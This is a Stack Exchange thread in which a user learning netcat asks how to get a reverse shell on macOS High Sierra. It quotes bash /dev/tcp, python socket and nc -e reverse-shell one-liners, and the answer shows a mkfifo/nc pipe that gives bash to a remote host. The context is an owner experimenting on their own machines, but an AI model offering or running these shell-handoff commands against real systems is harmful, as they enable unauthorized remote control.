3

I'm trying to create a reverse shell listener using High Sierra but nothing seems to work.

The bash command kinda just hangs in the terminal and times out.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

The python command errors with "Connection refused" when using python or python v2.7.

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

the netcat command errors with "nc: invalid option -e"

nc -e /bin/bash 0.0.0.0 8080

I've tried other solutions I've found online but you get the idea...

Is it possible to create a reverse shell (preferably with access to bash) using High Sierra?

specifications:

sh-3.2# system_profiler SPSoftwareDataType 
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lily’s MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03
5

If I understand correctly, you want to connect to your High Sierra machine from an external source via something like netcat (nc), send commands to bash, and view the response.

There are more secure and simpler ways to do this using ssh, but presuming this is some kind of experiment or development trick, here's how you can do what you're asking.

My answer is based on an answer I found elsewhere on SE (https://superuser.com/a/607855), which itself is based on other SO/SE answers.

First make a fifo:

mkfifo myfifo

Then start 'nc' using the fifo as its input, piping its output to bash, and redirecting bash's output to the fifo:

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(The '-i' flag for bash indicates an interactive shell, and may not be desirable for this use case.)

From the remote device (in my testing, myself):

nc 127.0.0.1 8080

If you want to reverse the roles, i.e. the High Sierra machine is establishing the connection to the remote device, and giving the remote device access to bash on the HS host, you would move the listen flag (-l). So, the remote device would start netcat first in listen mode:

nc -l 127.0.0.1 8080

Then the High Sierra host would connect to the remote device:

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1
  • This is wonderful, thank you. If you have time, can you briefly explain what "mkfifo" is/does exactly? I looked at the fifo manual with man mkfifo but I still dont quite understand what a fifo is, sorry! – lily May 8 '18 at 21:28
  • @lily It creates a named pipe which basically is the same as | but with a name you can reference/use later. Think of it as a named channel to pass data through. – nohillside May 9 '18 at 5:47
  • fifo = First In, First Out.. a queue. The pipe character " | " is a simplified way of doing the same thing. Since we can't go the other way (output of bash back to nc's input) with the pipe " | " or with redirects, we used the fifo. We could have used two FIFO's for both, if we wanted. – Bryan Scott May 9 '18 at 22:08
  • @BryanScott thanks for your help with this. im having some trouble when reversing the roles (high sierra establishing connection to remote debian server). i started netcat on the server with $ nc -l 0.0.0.0 8080, but noticed omitting -p nc opens a random port, so i do nc -l 0.0.0.0 -p 8080. then, from my high sierra laptop $ nc vps-ip-address 8080 < myfifo | /bin/bash -i > myfifo 2>&1 but the terminal immediately errors with :invalid connection to [vps-ip-address] from () [mac-ip-address] 49247: – lily May 10 '18 at 20:23
  • any idea what i might be doing wrong here? i know using ssh is more secure but please humor me, im having fun learning netcat – lily May 10 '18 at 20:23

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .